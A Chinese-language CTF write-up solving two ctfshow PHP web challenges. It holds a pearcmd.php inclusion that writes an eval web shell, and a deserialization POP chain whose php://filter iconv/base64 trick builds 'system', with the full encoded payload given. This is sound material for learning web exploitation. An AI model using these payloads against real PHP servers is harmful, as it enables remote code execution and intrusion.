首先进来先看一下源代码
1
2
3
4
5
6
7
8
9
<? php
function waf ( $path ){
$path = str_replace ( "." , "" , $path );
return preg_match ( "/^[a-z]+/" , $path );
}
if ( waf ( $_POST [ 1 ])){
include "file://" . $_POST [ 1 ];
}
可以看到这里是一个文件包含并且使用了file伪协议进行读传参的文件,但是这里设置了一个waf将,
换为空(本来以为是要绕过这个玩意看了一堆特性),然后这里就可以牵扯到之前打ACTF2023时候的那个pearcmd,也就是包含一个pearcmd文件然后写入,可以写shell或者你可以直接把文件内容直接cp到另外一个文件里面(前提要有权限)。
首先包含,
POST传参: 1=localhost/usr/local/lib/php/pearcmd.php
然后请求的地址:
/?+config-create+/<?=@eval($_POST['2']);die();?>+/tmp/delete
也就是写进了一个小马进入当前目录shell.php下面
然后连一下
查看flag
ctfshow{38472987-4228-48f8-9a35-cb46010b64c9}
进来可以看见是一个反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
开胃小菜,就让我成为签到题叭
<? php
header ( 'Content-Type:text/html;charset=utf-8' );
error_reporting ( 0 );
function waf1 ( $Chu0 ){
foreach ( $Chu0 as $name => $value ) {
if ( preg_match ( '/[a-z]/i' , $value )){
exit ( "waf1" );
}
}
}
function waf2 ( $Chu0 ){
if ( preg_match ( '/show/i' , $Chu0 ))
exit ( "waf2" );
}
function waf_in_waf_php ( $a ){
$count = substr_count ( $a , 'base64' );
echo "hinthinthint,base64喔" . "<br>" ;
if ( $count != 1 ){
return True ;
}
if ( preg_match ( '/ucs-2|phar|data|input|zip|flag|\%/i' , $a )){
return True ;
} else {
return false ;
}
}
class ctf {
public $h1 ;
public $h2 ;
public function __wakeup (){
throw new Exception ( "fastfast" );
}
public function __destruct ()
{
$this -> h1 -> nonono ( $this -> h2 );
}
}
class show {
public function __call ( $name , $args ){
if ( preg_match ( '/ctf/i' , $args [ 0 ][ 0 ][ 2 ])){
echo "gogogo" ;
}
}
}
class Chu0_write {
public $chu0 ;
public $chu1 ;
public $cmd ;
public function __construct (){
$this -> chu0 = 'xiuxiuxiu' ;
}
public function __toString (){
echo "__toString" . "<br>" ;
if ( $this -> chu0 === $this -> chu1 ){
$content = 'ctfshowshowshowwww' . $_GET [ 'chu0' ];
if ( ! waf_in_waf_php ( $_GET [ 'name' ])){
file_put_contents ( $_GET [ 'name' ] . ".txt" , $content );
} else {
echo "绕一下吧孩子" ;
}
$tmp = file_get_contents ( 'ctfw.txt' );
echo $tmp . "<br>" ;
if ( ! preg_match ( "/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i" , $_GET [ 'cmd' ])){
eval ( $tmp ( $_GET [ 'cmd' ]));
} else {
echo "waf!" ;
}
file_put_contents ( "ctfw.txt" , "" );
}
return "Go on" ;
}
}
if ( ! $_GET [ 'show_show.show' ]){
echo "开胃小菜,就让我成为签到题叭" ;
highlight_file ( __FILE__ );
} else {
echo "WAF,启动!" ;
waf1 ( $_REQUEST );
waf2 ( $_SERVER [ 'QUERY_STRING' ]);
if ( ! preg_match ( '/^[Oa]:[\d]/i' , $_GET [ 'show_show.show' ])){
unserialize ( $_GET [ 'show_show.show' ]);
} else {
echo "被waf啦" ;
}
}
可以看见这里有两个waf在入口,
1
2
3
4
5
6
7
function waf1 ( $Chu0 ){
foreach ( $Chu0 as $name => $value ) {
if ( preg_match ( '/[a-z]/i' , $value )){
exit ( "waf1" );
}
}
}
对参数进行正则匹配(匹配了a-z大小写),如果匹配到字母则退出并回显waf1
然后传入的时候是$REQUEST
,有一个特性。这里我们可以做一个测试
1
2
3
4
<? php
$a = $_REQUEST ;
var_dump ( $a );
?>
当我们使用GET进行传参的时候便输出
1
array ( 1 ) { [ "a" ] => string ( 1 ) "2" }
当再使用POST的时候
1
array ( 2 ) { [ "a" ] => string ( 1 ) "2" [ "b" ] => string ( 1 ) "1" }
那么如果我让GET和PPOST进行同时传同一个参数就是(GET的值为2,POST的值为10000):
1
array ( 1 ) { [ "a" ] => string ( 5 ) "10000" }
可以看见这里是直接获取了post的参数,也就是他的特性就是当变量名相同的时候会先获取POST的内容
那么这个地方就可以利用这个特性绕过
1
2
3
4
function waf2 ( $Chu0 ){
if ( preg_match ( '/show/i' , $Chu0 ))
exit ( "waf2" );
}
正则匹配字符串show(不区分大小写),如果匹配到则退出返回waf2
调用处是waf2($_SERVER['QUERY_STRING']);
,它用于获取当前请求的查询字符串部分。查询字符串是位于 URL 中 ? 符号之后的部分,包含了以键值对形式传递的参数。所以我们可以url编码绕过即可
1
2
3
4
5
6
7
8
9
10
11
12
function waf_in_waf_php ( $a ){
$count = substr_count ( $a , 'base64' );
echo "hinthinthint,base64喔" . "<br>" ;
if ( $count != 1 ){
return True ;
}
if ( preg_match ( '/ucs-2|phar|data|input|zip|flag|\%/i' , $a )){
return True ;
} else {
return false ;
}
}
利用了substr_count进行计算base64出现的次数
要求base64的出现次数不能大于一次,然后进行一些正则
链子比较简单:
1
ctf() __ destruct -> show () __ call -> Chu0_write __ toString
基础的pop:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<? php
class ctf {
public $h1 ;
public $h2 ;
}
class show {
}
class Chu0_write {
public $chu0 ;
public $chu1 ;
public $cmd ;
}
$a = new ctf ();
$a -> h1 = new show ();
$a -> h2 = [[ 2 => new Chu0_write ()]]; //利用preg_match触发
echo serialize ( $a );
这样就到了RCE的地方了
接下来的构造可以看一下这篇文章:
https://tttang.com/archive/1395/#toc_garbage-string
这里放出一个转化的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
<? php
$cmd = 'system' ;
$payload = iconv ( 'utf-8' , 'utf-16' , base64_encode ( $cmd ));
file_put_contents ( 'payload.txt' , quoted_printable_encode ( $payload ));
$result = file_get_contents ( 'payload.txt' );
$result = preg_replace ( '/=\r\n/' , '' , $result );
echo $result ;
这里为什么这么写看完上面的文章就知道,是为了利用base64的正则过程搭配iconv的编码转化来构造出自己想要的东西,这里指的就是system了
然后后面输入的时候把它反过来即可
也就是:
1
name = php :// filter / convert . quoted - printable - decode / convert . iconv . utf - 16. utf - 8 / convert . base64 - decode / resource = ctfw
从而让后面的chu0拼接后形成system
最后读一下环境变量即可
playload:
GET :?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env
POST:show[show.show=1&name=1&chu0=1&cmd=1
(关于为什么这里的下划线要换成[这个我前面的文章也有写到过)
这个是以前的题目了,github上面都有源码
https://blog.csdn.net/m0_73512445/article/details/134879829
参考文章: https://blog.csdn.net/m0_64016126/article/details/135368226